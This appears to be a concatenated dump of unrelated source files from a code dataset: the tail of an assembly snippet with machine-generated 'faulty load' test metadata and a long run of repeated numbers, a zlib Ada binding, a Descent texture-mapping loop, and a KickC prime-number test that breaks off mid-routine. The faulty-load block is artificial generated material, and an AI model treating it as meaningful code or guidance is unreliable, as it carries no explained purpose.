pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
contrib/gnu/gdb/dist/zlib/contrib/ada/zlib.adb | TheSledgeHammer/2.11BSD | 3 | 10328 | <reponame>TheSledgeHammer/2.11BSD
----------------------------------------------------------------
-- ZLib for Ada thick binding. --
-- --
-- Copyright (C) 2002-2004 <NAME> --
-- --
-- Open source license information is in the zlib.ads file. --
----------------------------------------------------------------
-- $Id: zlib.adb,v 1.2 2020/09/15 02:05:31 christos Exp $
with Ada.Exceptions;
with Ada.Unchecked_Conversion;
with Ada.Unchecked_Deallocation;
with Interfaces.C.Strings;
with ZLib.Thin;
package body ZLib is
use type Thin.Int;
type Z_Stream is new Thin.Z_Stream;
type Return_Code_Enum is
(OK,
STREAM_END,
NEED_DICT,
ERRNO,
STREAM_ERROR,
DATA_ERROR,
MEM_ERROR,
BUF_ERROR,
VERSION_ERROR);
type Flate_Step_Function is access
function (Strm : in Thin.Z_Streamp; Flush : in Thin.Int) return Thin.Int;
pragma Convention (C, Flate_Step_Function);
type Flate_End_Function is access
function (Ctrm : in Thin.Z_Streamp) return Thin.Int;
pragma Convention (C, Flate_End_Function);
type Flate_Type is record
Step : Flate_Step_Function;
Done : Flate_End_Function;
end record;
subtype Footer_Array is Stream_Element_Array (1 .. 8);
Simple_GZip_Header : constant Stream_Element_Array (1 .. 10)
:= (16#1f#, 16#8b#, -- Magic header
16#08#, -- Z_DEFLATED
16#00#, -- Flags
16#00#, 16#00#, 16#00#, 16#00#, -- Time
16#00#, -- XFlags
16#03# -- OS code
);
-- The simplest gzip header is not for informational, but just for
-- gzip format compatibility.
-- Note that some code below is using assumption
-- Simple_GZip_Header'Last > Footer_Array'Last, so do not make
-- Simple_GZip_Header'Last <= Footer_Array'Last.
Return_Code : constant array (Thin.Int range <>) of Return_Code_Enum
:= (0 => OK,
1 => STREAM_END,
2 => NEED_DICT,
-1 => ERRNO,
-2 => STREAM_ERROR,
-3 => DATA_ERROR,
-4 => MEM_ERROR,
-5 => BUF_ERROR,
-6 => VERSION_ERROR);
Flate : constant array (Boolean) of Flate_Type
:= (True => (Step => Thin.Deflate'Access,
Done => Thin.DeflateEnd'Access),
False => (Step => Thin.Inflate'Access,
Done => Thin.InflateEnd'Access));
Flush_Finish : constant array (Boolean) of Flush_Mode
:= (True => Finish, False => No_Flush);
procedure Raise_Error (Stream : in Z_Stream);
pragma Inline (Raise_Error);
procedure Raise_Error (Message : in String);
pragma Inline (Raise_Error);
procedure Check_Error (Stream : in Z_Stream; Code : in Thin.Int);
procedure Free is new Ada.Unchecked_Deallocation
(Z_Stream, Z_Stream_Access);
function To_Thin_Access is new Ada.Unchecked_Conversion
(Z_Stream_Access, Thin.Z_Streamp);
procedure Translate_GZip
(Filter : in out Filter_Type;
In_Data : in Ada.Streams.Stream_Element_Array;
In_Last : out Ada.Streams.Stream_Element_Offset;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode);
-- Separate translate routine for make gzip header.
procedure Translate_Auto
(Filter : in out Filter_Type;
In_Data : in Ada.Streams.Stream_Element_Array;
In_Last : out Ada.Streams.Stream_Element_Offset;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode);
-- translate routine without additional headers.
-----------------
-- Check_Error --
-----------------
procedure Check_Error (Stream : in Z_Stream; Code : in Thin.Int) is
use type Thin.Int;
begin
if Code /= Thin.Z_OK then
Raise_Error
(Return_Code_Enum'Image (Return_Code (Code))
& ": " & Last_Error_Message (Stream));
end if;
end Check_Error;
-----------
-- Close --
-----------
procedure Close
(Filter : in out Filter_Type;
Ignore_Error : in Boolean := False)
is
Code : Thin.Int;
begin
if not Ignore_Error and then not Is_Open (Filter) then
raise Status_Error;
end if;
Code := Flate (Filter.Compression).Done (To_Thin_Access (Filter.Strm));
if Ignore_Error or else Code = Thin.Z_OK then
Free (Filter.Strm);
else
declare
Error_Message : constant String
:= Last_Error_Message (Filter.Strm.all);
begin
Free (Filter.Strm);
Ada.Exceptions.Raise_Exception
(ZLib_Error'Identity,
Return_Code_Enum'Image (Return_Code (Code))
& ": " & Error_Message);
end;
end if;
end Close;
-----------
-- CRC32 --
-----------
function CRC32
(CRC : in Unsigned_32;
Data : in Ada.Streams.Stream_Element_Array)
return Unsigned_32
is
use Thin;
begin
return Unsigned_32 (crc32 (ULong (CRC),
Data'Address,
Data'Length));
end CRC32;
procedure CRC32
(CRC : in out Unsigned_32;
Data : in Ada.Streams.Stream_Element_Array) is
begin
CRC := CRC32 (CRC, Data);
end CRC32;
------------------
-- Deflate_Init --
------------------
procedure Deflate_Init
(Filter : in out Filter_Type;
Level : in Compression_Level := Default_Compression;
Strategy : in Strategy_Type := Default_Strategy;
Method : in Compression_Method := Deflated;
Window_Bits : in Window_Bits_Type := Default_Window_Bits;
Memory_Level : in Memory_Level_Type := Default_Memory_Level;
Header : in Header_Type := Default)
is
use type Thin.Int;
Win_Bits : Thin.Int := Thin.Int (Window_Bits);
begin
if Is_Open (Filter) then
raise Status_Error;
end if;
-- We allow ZLib to make header only in case of default header type.
-- Otherwise we would either do header by ourselfs, or do not do
-- header at all.
if Header = None or else Header = GZip then
Win_Bits := -Win_Bits;
end if;
-- For the GZip CRC calculation and make headers.
if Header = GZip then
Filter.CRC := 0;
Filter.Offset := Simple_GZip_Header'First;
else
Filter.Offset := Simple_GZip_Header'Last + 1;
end if;
Filter.Strm := new Z_Stream;
Filter.Compression := True;
Filter.Stream_End := False;
Filter.Header := Header;
if Thin.Deflate_Init
(To_Thin_Access (Filter.Strm),
Level => Thin.Int (Level),
method => Thin.Int (Method),
windowBits => Win_Bits,
memLevel => Thin.Int (Memory_Level),
strategy => Thin.Int (Strategy)) /= Thin.Z_OK
then
Raise_Error (Filter.Strm.all);
end if;
end Deflate_Init;
-----------
-- Flush --
-----------
procedure Flush
(Filter : in out Filter_Type;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode)
is
No_Data : Stream_Element_Array := (1 .. 0 => 0);
Last : Stream_Element_Offset;
begin
Translate (Filter, No_Data, Last, Out_Data, Out_Last, Flush);
end Flush;
-----------------------
-- Generic_Translate --
-----------------------
procedure Generic_Translate
(Filter : in out ZLib.Filter_Type;
In_Buffer_Size : in Integer := Default_Buffer_Size;
Out_Buffer_Size : in Integer := Default_Buffer_Size)
is
In_Buffer : Stream_Element_Array
(1 .. Stream_Element_Offset (In_Buffer_Size));
Out_Buffer : Stream_Element_Array
(1 .. Stream_Element_Offset (Out_Buffer_Size));
Last : Stream_Element_Offset;
In_Last : Stream_Element_Offset;
In_First : Stream_Element_Offset;
Out_Last : Stream_Element_Offset;
begin
Main : loop
Data_In (In_Buffer, Last);
In_First := In_Buffer'First;
loop
Translate
(Filter => Filter,
In_Data => In_Buffer (In_First .. Last),
In_Last => In_Last,
Out_Data => Out_Buffer,
Out_Last => Out_Last,
Flush => Flush_Finish (Last < In_Buffer'First));
if Out_Buffer'First <= Out_Last then
Data_Out (Out_Buffer (Out_Buffer'First .. Out_Last));
end if;
exit Main when Stream_End (Filter);
-- The end of in buffer.
exit when In_Last = Last;
In_First := In_Last + 1;
end loop;
end loop Main;
end Generic_Translate;
------------------
-- Inflate_Init --
------------------
procedure Inflate_Init
(Filter : in out Filter_Type;
Window_Bits : in Window_Bits_Type := Default_Window_Bits;
Header : in Header_Type := Default)
is
use type Thin.Int;
Win_Bits : Thin.Int := Thin.Int (Window_Bits);
procedure Check_Version;
-- Check the latest header types compatibility.
procedure Check_Version is
begin
if Version <= "1.1.4" then
Raise_Error
("Inflate header type " & Header_Type'Image (Header)
& " incompatible with ZLib version " & Version);
end if;
end Check_Version;
begin
if Is_Open (Filter) then
raise Status_Error;
end if;
case Header is
when None =>
Check_Version;
-- Inflate data without headers determined
-- by negative Win_Bits.
Win_Bits := -Win_Bits;
when GZip =>
Check_Version;
-- Inflate gzip data defined by flag 16.
Win_Bits := Win_Bits + 16;
when Auto =>
Check_Version;
-- Inflate with automatic detection
-- of gzip or native header defined by flag 32.
Win_Bits := Win_Bits + 32;
when Default => null;
end case;
Filter.Strm := new Z_Stream;
Filter.Compression := False;
Filter.Stream_End := False;
Filter.Header := Header;
if Thin.Inflate_Init
(To_Thin_Access (Filter.Strm), Win_Bits) /= Thin.Z_OK
then
Raise_Error (Filter.Strm.all);
end if;
end Inflate_Init;
-------------
-- Is_Open --
-------------
function Is_Open (Filter : in Filter_Type) return Boolean is
begin
return Filter.Strm /= null;
end Is_Open;
-----------------
-- Raise_Error --
-----------------
procedure Raise_Error (Message : in String) is
begin
Ada.Exceptions.Raise_Exception (ZLib_Error'Identity, Message);
end Raise_Error;
procedure Raise_Error (Stream : in Z_Stream) is
begin
Raise_Error (Last_Error_Message (Stream));
end Raise_Error;
----------
-- Read --
----------
procedure Read
(Filter : in out Filter_Type;
Item : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode := No_Flush)
is
In_Last : Stream_Element_Offset;
Item_First : Ada.Streams.Stream_Element_Offset := Item'First;
V_Flush : Flush_Mode := Flush;
begin
pragma Assert (Rest_First in Buffer'First .. Buffer'Last + 1);
pragma Assert (Rest_Last in Buffer'First - 1 .. Buffer'Last);
loop
if Rest_Last = Buffer'First - 1 then
V_Flush := Finish;
elsif Rest_First > Rest_Last then
Read (Buffer, Rest_Last);
Rest_First := Buffer'First;
if Rest_Last < Buffer'First then
V_Flush := Finish;
end if;
end if;
Translate
(Filter => Filter,
In_Data => Buffer (Rest_First .. Rest_Last),
In_Last => In_Last,
Out_Data => Item (Item_First .. Item'Last),
Out_Last => Last,
Flush => V_Flush);
Rest_First := In_Last + 1;
exit when Stream_End (Filter)
or else Last = Item'Last
or else (Last >= Item'First and then Allow_Read_Some);
Item_First := Last + 1;
end loop;
end Read;
----------------
-- Stream_End --
----------------
function Stream_End (Filter : in Filter_Type) return Boolean is
begin
if Filter.Header = GZip and Filter.Compression then
return Filter.Stream_End
and then Filter.Offset = Footer_Array'Last + 1;
else
return Filter.Stream_End;
end if;
end Stream_End;
--------------
-- Total_In --
--------------
function Total_In (Filter : in Filter_Type) return Count is
begin
return Count (Thin.Total_In (To_Thin_Access (Filter.Strm).all));
end Total_In;
---------------
-- Total_Out --
---------------
function Total_Out (Filter : in Filter_Type) return Count is
begin
return Count (Thin.Total_Out (To_Thin_Access (Filter.Strm).all));
end Total_Out;
---------------
-- Translate --
---------------
procedure Translate
(Filter : in out Filter_Type;
In_Data : in Ada.Streams.Stream_Element_Array;
In_Last : out Ada.Streams.Stream_Element_Offset;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode) is
begin
if Filter.Header = GZip and then Filter.Compression then
Translate_GZip
(Filter => Filter,
In_Data => In_Data,
In_Last => In_Last,
Out_Data => Out_Data,
Out_Last => Out_Last,
Flush => Flush);
else
Translate_Auto
(Filter => Filter,
In_Data => In_Data,
In_Last => In_Last,
Out_Data => Out_Data,
Out_Last => Out_Last,
Flush => Flush);
end if;
end Translate;
--------------------
-- Translate_Auto --
--------------------
procedure Translate_Auto
(Filter : in out Filter_Type;
In_Data : in Ada.Streams.Stream_Element_Array;
In_Last : out Ada.Streams.Stream_Element_Offset;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode)
is
use type Thin.Int;
Code : Thin.Int;
begin
if not Is_Open (Filter) then
raise Status_Error;
end if;
if Out_Data'Length = 0 and then In_Data'Length = 0 then
raise Constraint_Error;
end if;
Set_Out (Filter.Strm.all, Out_Data'Address, Out_Data'Length);
Set_In (Filter.Strm.all, In_Data'Address, In_Data'Length);
Code := Flate (Filter.Compression).Step
(To_Thin_Access (Filter.Strm),
Thin.Int (Flush));
if Code = Thin.Z_STREAM_END then
Filter.Stream_End := True;
else
Check_Error (Filter.Strm.all, Code);
end if;
In_Last := In_Data'Last
- Stream_Element_Offset (Avail_In (Filter.Strm.all));
Out_Last := Out_Data'Last
- Stream_Element_Offset (Avail_Out (Filter.Strm.all));
end Translate_Auto;
--------------------
-- Translate_GZip --
--------------------
procedure Translate_GZip
(Filter : in out Filter_Type;
In_Data : in Ada.Streams.Stream_Element_Array;
In_Last : out Ada.Streams.Stream_Element_Offset;
Out_Data : out Ada.Streams.Stream_Element_Array;
Out_Last : out Ada.Streams.Stream_Element_Offset;
Flush : in Flush_Mode)
is
Out_First : Stream_Element_Offset;
procedure Add_Data (Data : in Stream_Element_Array);
-- Add data to stream from the Filter.Offset till necessary,
-- used for add gzip headr/footer.
procedure Put_32
(Item : in out Stream_Element_Array;
Data : in Unsigned_32);
pragma Inline (Put_32);
--------------
-- Add_Data --
--------------
procedure Add_Data (Data : in Stream_Element_Array) is
Data_First : Stream_Element_Offset renames Filter.Offset;
Data_Last : Stream_Element_Offset;
Data_Len : Stream_Element_Offset; -- -1
Out_Len : Stream_Element_Offset; -- -1
begin
Out_First := Out_Last + 1;
if Data_First > Data'Last then
return;
end if;
Data_Len := Data'Last - Data_First;
Out_Len := Out_Data'Last - Out_First;
if Data_Len <= Out_Len then
Out_Last := Out_First + Data_Len;
Data_Last := Data'Last;
else
Out_Last := Out_Data'Last;
Data_Last := Data_First + Out_Len;
end if;
Out_Data (Out_First .. Out_Last) := Data (Data_First .. Data_Last);
Data_First := Data_Last + 1;
Out_First := Out_Last + 1;
end Add_Data;
------------
-- Put_32 --
------------
procedure Put_32
(Item : in out Stream_Element_Array;
Data : in Unsigned_32)
is
D : Unsigned_32 := Data;
begin
for J in Item'First .. Item'First + 3 loop
Item (J) := Stream_Element (D and 16#FF#);
D := Shift_Right (D, 8);
end loop;
end Put_32;
begin
Out_Last := Out_Data'First - 1;
if not Filter.Stream_End then
Add_Data (Simple_GZip_Header);
Translate_Auto
(Filter => Filter,
In_Data => In_Data,
In_Last => In_Last,
Out_Data => Out_Data (Out_First .. Out_Data'Last),
Out_Last => Out_Last,
Flush => Flush);
CRC32 (Filter.CRC, In_Data (In_Data'First .. In_Last));
end if;
if Filter.Stream_End and then Out_Last <= Out_Data'Last then
-- This detection method would work only when
-- Simple_GZip_Header'Last > Footer_Array'Last
if Filter.Offset = Simple_GZip_Header'Last + 1 then
Filter.Offset := Footer_Array'First;
end if;
declare
Footer : Footer_Array;
begin
Put_32 (Footer, Filter.CRC);
Put_32 (Footer (Footer'First + 4 .. Footer'Last),
Unsigned_32 (Total_In (Filter)));
Add_Data (Footer);
end;
end if;
end Translate_GZip;
-------------
-- Version --
-------------
function Version return String is
begin
return Interfaces.C.Strings.Value (Thin.zlibVersion);
end Version;
-----------
-- Write --
-----------
procedure Write
(Filter : in out Filter_Type;
Item : in Ada.Streams.Stream_Element_Array;
Flush : in Flush_Mode := No_Flush)
is
Buffer : Stream_Element_Array (1 .. Buffer_Size);
In_Last : Stream_Element_Offset;
Out_Last : Stream_Element_Offset;
In_First : Stream_Element_Offset := Item'First;
begin
if Item'Length = 0 and Flush = No_Flush then
return;
end if;
loop
Translate
(Filter => Filter,
In_Data => Item (In_First .. Item'Last),
In_Last => In_Last,
Out_Data => Buffer,
Out_Last => Out_Last,
Flush => Flush);
if Out_Last >= Buffer'First then
Write (Buffer (1 .. Out_Last));
end if;
exit when In_Last = Item'Last or Stream_End (Filter);
In_First := In_Last + 1;
end loop;
end Write;
end ZLib;
|
texmap/temp.asm | osgcc/descent-pc | 3 | 20048 | <filename>texmap/temp.asm
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
public tmap_loop_fast_nolight
tmap_loop_fast_nolight:
align 4
NotDwordAligned1_nolight:
test edi, 11b
jz DwordAligned1_nolight
xchg ebx, esi
; compute v coordinate
mov eax,ebp ; get v
cdq
idiv ecx ; eax = (v/z)
and eax,3fh ; mask with height-1
mov ebx,eax
; compute u coordinate
mov eax,esi ; get u
cdq
idiv ecx ; eax = (u/z)
shl eax,26
shld ebx,eax,6 ; esi = v*64+u
; read 1 pixel
mov al,es:[ebx] ; get pixel from source bitmap
; write 1 pixel
mov [edi],al
inc edi
; update deltas
add ebp,_fx_dv_dx
add esi,_fx_du_dx
add ecx,_fx_dz_dx
xchg esi, ebx
dec _loop_count
jns NotDwordAligned1_nolight
jmp _none_to_do
DwordAligned1_nolight:
mov eax, _loop_count
inc eax
mov num_left_over, eax
shr eax, NBITS
cmp eax, 0
je tmap_loop
mov _loop_count, eax ; _loop_count = pixels / NPIXS
;OPshl eax, NBITS
lea eax, [eax*8]
sub num_left_over, eax ; num_left_over = obvious
; compute initial v coordinate
mov eax,ebp ; get v
PDIV
mov V0, eax
; compute initial u coordinate
mov eax,ebx ; get u
PDIV
mov U0, eax
; Set deltas to NPIXS pixel increments
mov eax, _fx_du_dx
;OPshl eax, NBITS
lea eax, [eax*8]
mov DU1, eax
mov eax, _fx_dv_dx
;OPshl eax, NBITS
lea eax, [eax*8]
mov DV1, eax
mov eax, _fx_dz_dx
;OPshl eax, NBITS
lea eax, [eax*8]
mov DZ1, eax
align 4
TopOfLoop4_nolight:
add ebx, DU1
add ebp, DV1
add ecx, DZ1
; Done with ebx, ebp, ecx until next iteration
push ebx
push ecx
push ebp
push edi
; Find fixed U1
mov eax, ebx
PDIV
mov ebx, eax ; ebx = U1 until pop's
; Find fixed V1
mov eax, ebp
PDIV
mov ebp, eax ; ebp = V1 until pop's
mov ecx, U0 ; ecx = U0 until pop's
mov edi, V0 ; edi = V0 until pop's
; Make ESI = V0:U0 in 6:10,6:10 format
mov eax, ecx
shr eax, 6
mov esi, edi
shl esi, 10
mov si, ax
; Make EDX = DV:DU in 6:10,6:10 format
mov eax, ebx
sub eax, ecx
sar eax, NBITS+6
mov edx, ebp
sub edx, edi
shl edx, 10-NBITS ; EDX = V1-V0/ 4 in 6:10 int:frac
mov dx, ax ; put delta u in low word
; Save the U1 and V1 so we don't have to divide on the
; next iteration
mov U0, ebx
mov V0, ebp
pop edi ; Restore EDI before using it
REPT (1 SHL (NBITS-2))
REPT 4
; Do 1 pixel
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
mov cl, es:[eax] ; load into buffer register
add esi, edx ; inc u,v
ror ecx, 8 ; move to next dest pixel
ENDM
mov [edi],ecx ; Draw 4 pixels to display
add edi,4
ENDM
pop ebp
pop ecx
pop ebx
dec _loop_count
jnz TopOfLoop4_nolight
EndOfLoop4_nolight:
cmp num_left_over, 0
je _none_to_do
DoEndPixels_nolight:
add ebx, DU1
add ebp, DV1
add ecx, DZ1
push edi ; use edi as a temporary variable
; Find fixed U1
mov eax, ebx
PDIV
mov ebx, eax ; ebx = U1 until pop's
; Find fixed V1
mov eax, ebp
PDIV
mov ebp, eax ; ebp = V1 until pop's
mov ecx, U0 ; ecx = U0 until pop's
mov edi, V0 ; edi = V0 until pop's
; Make ESI = V0:U0 in 6:10,6:10 format
mov eax, ecx
shr eax, 6
mov esi, edi
shl esi, 10
mov si, ax
; Make EDX = DV:DU in 6:10,6:10 format
mov eax, ebx
sub eax, ecx
sar eax, NBITS+6
mov edx, ebp
sub edx, edi
shl edx, 10-NBITS ; EDX = V1-V0/ 4 in 6:10 int:frac
mov dx, ax ; put delta u in low word
pop edi ; Restore EDI before using it
mov ecx, num_left_over
ITERATION = 0
REPT (1 SHL NBITS)
; Do 1 pixel
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
mov al, es:[eax] ; load into buffer register
add esi, edx ; inc u,v
mov [edi+ITERATION], al ; write pixel
dec ecx
jz _none_to_do
ITERATION = ITERATION + 1
ENDM
; Should never get here!!!!!
int 3
jmp _none_to_do
|
src/test/ref/primes-1000-2.asm | jbrandwood/kickc | 2 | 7675 | <reponame>jbrandwood/kickc<filename>src/test/ref/primes-1000-2.asm
// Calculates the 1000 first primes
// From A Comparison of Language Speed, The Transactor, March 1987, Volume 7, Issue 5
// http://csbruce.com/cbm/transactor/pdfs/trans_v7_i05.pdf
// Commodore 64 PRG executable file
.file [name="primes-1000-2.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.const SIZEOF_UNSIGNED_INT = 2
.label print_screen = $400
.label print_char_cursor = $b
// The number currently being tested for whether it is a prime
.label potential = $10
// The last index to test. It is the smallest index where PRIMES[test_last] > sqr(potential)
.label test_last = $12
// The index into PRIMES[] used for prime testing. It runs from 2 to test_last for each number tested.
.label test_idx = $d
// The index of the last prime we put into the PRIME[] table
.label prime_idx = $13
.segment Code
main: {
.label __0 = $e
.label __14 = 2
.label __15 = 2
// PRIMES[1] = 2
lda #<2
sta PRIMES+1*SIZEOF_UNSIGNED_INT
lda #>2
sta PRIMES+1*SIZEOF_UNSIGNED_INT+1
// PRIMES[2] = 3
lda #<3
sta PRIMES+2*SIZEOF_UNSIGNED_INT
lda #>3
sta PRIMES+2*SIZEOF_UNSIGNED_INT+1
lda #<print_screen
sta.z print_char_cursor
lda #>print_screen
sta.z print_char_cursor+1
lda #<2
sta.z prime_idx
lda #>2
sta.z prime_idx+1
lda #<3
sta.z potential
lda #>3
sta.z potential+1
lda #2
sta.z test_last
__b1:
// char p = (char)PRIMES[test_last]
lda.z test_last
asl
tay
lda PRIMES,y
// mul8u(p, p)
tax
jsr mul8u
// if(potential > mul8u(p, p))
lda.z potential+1
cmp.z __0+1
bne !+
lda.z potential
cmp.z __0
beq __b2
!:
bcc __b2
// test_last++;
inc.z test_last
__b2:
// potential +=2
lda #2
clc
adc.z potential
sta.z potential
bcc !+
inc.z potential+1
!:
lda #2
sta.z test_idx
__b3:
// div16u8u(potential, (char)PRIMES[test_idx++])
lda.z test_idx
asl
tax
lda PRIMES,x
sta.z div16u8u.divisor
jsr div16u8u
// div16u8u(potential, (char)PRIMES[test_idx++]);
inc.z test_idx
// if(rem8u == 0)
cpy #0
bne __b4
// potential +=2
lda #2
clc
adc.z potential
sta.z potential
bcc !+
inc.z potential+1
!:
lda #2
